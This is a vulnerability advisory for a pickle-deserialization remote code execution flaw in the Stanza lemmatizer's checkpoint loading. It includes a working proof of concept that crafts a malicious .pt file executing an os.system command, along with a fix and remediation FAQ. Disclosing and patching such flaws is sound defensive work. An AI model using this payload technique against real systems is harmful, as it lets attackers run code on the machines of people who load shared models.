CVE-2026-115878: Stanza: RCE via pickle deserialization in the lemmatizer
TL;DR
Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores posdict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weightsonly=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weightsonly=True gives no protection here, and model loading executes code.
Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload reduce returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executedby=...).
A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemmamodelpath="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> unpackposdict and executes the embedded pickle at construction time.
The vulnerable path
stanza/models/lemma/trainer.py:
python packposdict (write side): posdict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']
def unpackposdict(data): # line 54 buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return pickle.loads(raw) # <-- unrestricted default unpickler
python def load(self, filename, ...): # line 365 checkpoint = torch.load(filename, ..., weightsonly=True) # outer allowlist; bytes pass through intact ... if dictsversion == DICTSVERSIONPOS: # dictsversion == 2 (current format) self.posdict = unpackposdict(checkpoint['dicts']) # line 378, no validation
Reachable from the documented API. stanza.Pipeline(..., lemmamodelpath=<file>) -> LemmaProcessor.setupmodel -> Trainer(modelfile=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemmamodelpath reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.
Note: this is not the weightsonly=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.
Minimal PoC
python import gzip, io, os, pickle, tempfile, torch from stanza.models.lemma.trainer import unpackposdict, DICTSVERSIONPOS
MARKER = os.path.join(tempfile.gettempdir(), "stanzalemmapocpwned")
class Payload: def reduce(self): return (os.system, ("id > %s 2>&1; echo executedby=$(whoami) >> %s" % (MARKER, MARKER),))
buf = io.BytesIO() with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as packposdict() gz.write(pickle.dumps(Payload(), protocol=4))
ckpt = {"dicts": buf.getvalue(), "dictsversion": DICTSVERSIONPOS} pt = os.path.join(tempfile.gettempdir(), "evillemma.pt") torch.save(ckpt, pt, usenewzipfileserialization=False)
loaded = torch.load(pt, lambda s, l: s, weightsonly=True) # SUCCEEDS; dicts is bytes, intact unpackposdict(loaded["dicts"]) # == trainer.py:378 -> command runs print("pwned:", open(MARKER).read().strip())
The PoC calls unpackposdict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.
Fix
Deserialize the inner stream with the RestrictedUnpickler the project already uses in stanza/models/common/doc.py (allowlists tuple/list/dict only):
python from stanza.models.common.doc import RestrictedUnpickler
def unpackposdict(data): buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return RestrictedUnpickler(io.BytesIO(raw)).load()
A legitimate posdict is a nested {pos: {word: lemma}} string mapping no class/function globals, so it loads cleanly, while any os.system-style payload is rejected by findclass. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both unpackposdict and, for forward compatibility, packposdict.
Other sources
Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores posdict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weightsonly=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemmamodelpath, before inference begins. This issue is fixed in version 1.15.0.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/stanzato a version that resolves this vulnerability.Fixed in 1.15.0 - Upgrade
Upgrade
stanzato a version that resolves this vulnerability.Fixed in 1.15.0 - Compensating control
Deserialize the inner gzip-compressed pos_dict stream with the project's RestrictedUnpickler, which allowlists tuple, list, and dict, in both _unpack_pos_dict and _pack_pos_dict.
Event History
Frequently Asked Questions
Which deployments are exposed?
Deployments are exposed when a Stanza pipeline loads a lemmatizer checkpoint whose .pt path or model source is influenced by an attacker. This includes use of lemma_model_path with caller-supplied input and custom registries that load untrusted or shared lemma models.
Does torch.load(weights_only=True) prevent exploitation?
No. The affected pos_dict data is stored as bytes, which weights_only=True passes through; Stanza later sends those bytes to unrestricted pickle.loads.
What does an attacker need to do, and what access do they gain?
An attacker needs to cause a crafted lemmatizer .pt checkpoint to be loaded, typically by influencing the model path or supplied model. The payload executes arbitrary code with the privileges of the user loading the checkpoint.
What can be done while patching is unavailable?
Do not allow untrusted or attacker-influenced .pt files to be used as lemmatizer models. Restrict lemma_model_path and any custom model registry to trusted checkpoints only.